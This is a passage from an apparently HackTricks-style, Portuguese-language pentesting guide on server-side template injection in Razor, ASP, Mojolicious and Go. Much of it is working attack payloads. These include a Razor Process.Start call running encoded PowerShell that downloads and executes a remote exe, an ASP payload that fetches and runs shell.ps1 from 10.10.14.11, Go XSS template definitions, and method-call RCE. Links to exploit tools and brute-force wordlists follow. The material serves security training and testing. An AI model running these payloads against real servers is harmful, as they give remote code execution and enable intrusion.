  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

O método .NET System.Diagnostics.Process.Start pode ser usado para iniciar qualquer processo no servidor e assim criar um webshell. Você pode encontrar um exemplo de aplicativo da web vulnerável em https://github.com/cnotin/RazorVulnerableApp

Mais informações

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nada
  • <%= response.write(date()) %> = <Data>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Mais Informações

Mojolicious (Perl)

Mesmo sendo perl, ele usa tags como ERB em Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Erro
<%= perl code %>
<% perl code %>

SSTI em GO

A maneira de confirmar que o mecanismo de template usado no backend é Go é usando esses payloads:

  • {{ . }} = estrutura de dados sendo passada como entrada para o template
  • Se os dados passados são um objeto que contém o atributo Password, por exemplo, o payload anterior poderia vazar isso, mas você também poderia fazer: {{ .Password }}
  • {{printf "%s" "ssti" }} = deve exibir a string ssti na resposta
  • {{html "ssti"}}, {{js "ssti"}} = Estes são alguns outros payloads que devem exibir a string "ssti" sem as palavras finais "js" ou "html". Você pode consultar mais palavras-chave no mecanismo aqui.

Exploração de XSS

Se o servidor estiver usando o pacote text/template, XSS é muito fácil de alcançar simplesmente fornecendo seu payload como entrada. No entanto, isso não é o caso com html/template pois ele codifica o HTML da resposta: {{"<script>alert(1)</script>"}} --> &lt;script&gt;alert(1)&lt;/script&gt;

No entanto, Go permite DEFINIR um template inteiro e depois chamá-lo posteriormente. O payload será algo como:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

Exploração de RCE

A documentação para ambos os módulos html/template pode ser encontrada aqui, e a documentação para o módulo text/template pode ser encontrada aqui, e sim, elas variam bastante. Por exemplo, em text/template, você pode chamar diretamente qualquer função pública com o valor "call", no entanto, isso não é o caso com html/template.

Se você deseja encontrar um RCE em Go via SSTI, você deve saber que, assim como você pode acessar o objeto fornecido ao template com {{ . }}, você também pode chamar os métodos dos objetos. Portanto, imagine que o objeto passado tenha um método chamado System que executa o comando fornecido, você poderia abusar disso com: {{ .System "ls" }}
Portanto, você provavelmente precisará do código-fonte. Um código-fonte potencial para algo assim terá a aparência de:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Mais informações

Mais Exploits

Verifique o restante em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection para mais exploits. Você também pode encontrar informações interessantes sobre tags em https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

Ajuda Relacionada

Se você achar útil, leia:

Ferramentas

{% embed url="https://github.com/Hackmanit/TInjA" %}

{% embed url="https://github.com/vladko312/sstimap" %}

{% embed url="https://github.com/epinna/tplmap" %}

{% embed url="https://github.com/Hackmanit/template-injection-table" %}

Lista de Detecção de Força Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Prática e Referências

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: